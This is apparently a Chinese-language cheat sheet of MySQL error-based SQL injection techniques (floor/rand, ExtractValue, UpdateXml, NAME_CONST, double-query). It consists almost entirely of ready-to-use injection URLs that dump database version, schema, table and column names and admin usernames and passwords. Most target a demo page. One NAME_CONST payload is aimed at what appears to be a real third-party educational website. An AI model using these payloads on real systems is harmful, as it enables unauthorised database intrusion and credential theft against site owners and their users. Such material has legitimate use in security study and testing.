mysql暴错注入方法整理，通过floor，UpdateXml，ExtractValue，NAME_CONST，Error based Double Query Injection等方法
1、通过floor暴错
/*数据库版本*/
http://www.waitalone.cn/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
/*简单办法暴库*/
http://www.waitalone.cn/sql.php?id=info()
/*连接用户*/
http://www.waitalone.cn/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
/*连接数据库*/
http://www.waitalone.cn/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
/*暴库*/
http://www.waitalone.cn/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
/*暴表*/
http://www.waitalone.cn/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
/*暴字段*/
http://www.waitalone.cn/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=0x61646D696E LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
/*暴内容*/
http://www.waitalone.cn/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
2、ExtractValue(有长度限制,最长32位)
http://www.waitalone.cn/sql.php?id=1+and extractvalue(1, concat(0x7e, (select @@version),0x7e))
http://www.waitalone.cn/sql.php?id=1+and extractvalue(1, concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1)))
3、UpdateXml(有长度限制,最长32位)
http://www.waitalone.cn/sql.php?id=1+and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
http://www.waitalone.cn/sql.php?id=1+and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)
4、NAME_CONST(适用于低版本)
http://wlkc.zjtie.edu.cn/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--
5、Error based Double Query Injection (http://www.vaibs.in/error-based-double-query-injection/)
/*数据库版本*/
http://www.waitalone.cn/sql.php?id=1+or+1+group+by+concat_ws(0x7e,version(),floor(rand(0)*2))+having+min(0)+or+1
